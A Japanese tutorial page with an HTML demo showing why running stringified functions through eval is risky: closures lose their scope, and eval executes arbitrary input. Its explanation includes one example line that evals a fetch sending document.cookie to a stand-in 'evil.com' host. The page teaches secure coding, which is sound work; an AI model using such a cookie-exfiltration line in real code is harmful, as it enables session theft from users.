JavaScript | 関数を文字列化して eval で実行するのがなぜ危険なのか

JavaScript JavaScript
スポンサーリンク

ここでは、「関数を文字列化して eval で実行するのがなぜ危険なのか」 を、実際に動かして確かめられるように、
ブラウザでそのまま試せる 練習用サンプル(安全に体験できるデモ) を紹介します。


目的

  • toString()eval() の組み合わせがどう危険なのかを体感する
  • 「クロージャのスコープが失われる」ことを実験する
  • 「悪意ある文字列コードを eval で実行すると何が起きるか」を理解する

💻 実験HTMLサンプル(コピペOK)

<!doctype html>
<html>
<head>
  <meta charset="utf-8">
  <title>クロージャと eval の危険性デモ</title>
  <style>
    body { font-family: "Segoe UI", sans-serif; line-height: 1.6; padding: 20px; }
    pre { background: #f3f3f3; padding: 10px; border-radius: 8px; }
    button { margin: 5px 0; padding: 8px 14px; border: none; border-radius: 6px; background: #0078d7; color: white; cursor: pointer; }
    button:hover { background: #005fa3; }
  </style>
</head>
<body>
  <h2>🧩 クロージャと eval() の危険性デモ</h2>
  <p>各ボタンをクリックして挙動を確認してみましょう。</p>

  <button id="btn1">① クロージャ関数を toString() → eval() で再作成</button><br>
  <button id="btn2">② 悪意ある文字列を eval() で実行してみる</button><br>
  <button id="btn3">③ 安全な代替:Functionを文字列で作る(限定的)</button>

  <pre id="log"></pre>

  <script>
    const log = (msg) => {
      document.getElementById('log').textContent += msg + '\n';
    };
    document.getElementById('log').textContent = '';

    // -----------------------------
    // ① クロージャ関数を文字列化 → evalで再生成
    // -----------------------------
    function makeAdder(base) {
      return function(num) {
        return base + num;
      };
    }

    document.getElementById('btn1').onclick = () => {
      document.getElementById('log').textContent = '';
      const add10 = makeAdder(10);
      log('元の add10(5) = ' + add10(5)); // 15

      // 関数を文字列に変換
      const code = add10.toString();
      log('\nadd10.toString() の中身:\n' + code);

      // eval で新しい関数に
      const newFunc = eval('(' + code + ')');
      log('\n新しい関数を実行してみる:');
      try {
        log('newFunc(5) = ' + newFunc(5)); // 期待:15 → 実際:エラー
      } catch (e) {
        log('⚠️ エラー発生: ' + e.message);
      }

      log('\n理由: 外側の変数 "base" は文字列化されないため、再現できない!');
    };

    // -----------------------------
    // ② eval の危険性:外部文字列が意図しない動作をする例
    // -----------------------------
    document.getElementById('btn2').onclick = () => {
      document.getElementById('log').textContent = '';
      log('「安全そうに見える入力」を eval に渡すとどうなるか?');

      const userInput = "alert('💀 あなたのPC情報を送信中...');";
      log('\n入力された文字列:\n' + userInput);
      log('\nこれを eval() で実行すると...');

      try {
        eval(userInput); // 実際に実行(※alertは harmless)
      } catch (e) {
        log('⚠️ エラー: ' + e.message);
      }

      log('\n⚠️ 実際の攻撃では、ファイル削除やAPI送信なども可能になることがある!');
    };

    // -----------------------------
    // ③ Function コンストラクタを使った「比較的安全な方法」
    // -----------------------------
    document.getElementById('btn3').onclick = () => {
      document.getElementById('log').textContent = '';
      log('Function コンストラクタで新しい関数を作る例');
      const code = "return 'Hello ' + name;";
      const greet = new Function('name', code);
      log('new Function("name", "' + code + '");');
      log('→ greet("Halu") = ' + greet("Halu"));
      log('\n⚠️ それでも文字列評価なので、安全性は完全ではない!');
    };
  </script>
</body>
</html>
HTML

🔍 実行結果の流れ

① クロージャを文字列化して再生成

  • makeAdder(10) は「base=10」を覚えている関数。
  • でも toString() で文字列化→eval() で再作成すると、
    外側の base が消えてしまい → ReferenceError: base is not defined
    → クロージャの中身(スコープ)は再現できない!

② eval の危険性

  • 文字列を「コードとして実行」するので、
    ユーザーが入力したテキストが悪意あるものだと大変危険。
  • 例:
const userInput = "fetch('http://evil.com/steal?cookie=' + document.cookie)";
eval(userInput); // ←攻撃コードが実行される
JavaScript
  • ブラウザでは alert 程度ですが、サーバー側ではファイル削除・データ改ざんも可能です。

③ Function コンストラクタ

  • "return 'Hello ' + name;" のように中身を明示的に定義することで、
    少し制御しやすいですが、やはり文字列評価なので油断禁物。
  • 安全な代替としては、動的評価を避ける・明示的な条件分岐を使う・ユーザー入力を直接実行しない、など。

まとめ(安全に学ぶポイント)

概念内容安全性
toString()関数の定義コードを文字列化する安全 ✅
eval()文字列をそのまま実行危険 ⚠️
クロージャ再現外側の変数スコープは文字列化できない不可 ❌
Function コンストラクタeval より制御可能だが基本同じリスク注意 ⚠️

🧠 理解のキーポイント:

toString() は“関数の形”をコピーできるが、“中身の状態”はコピーできない」
eval() は“なんでも実行できる”が、“なんでも実行されてしまう”」

タイトルとURLをコピーしました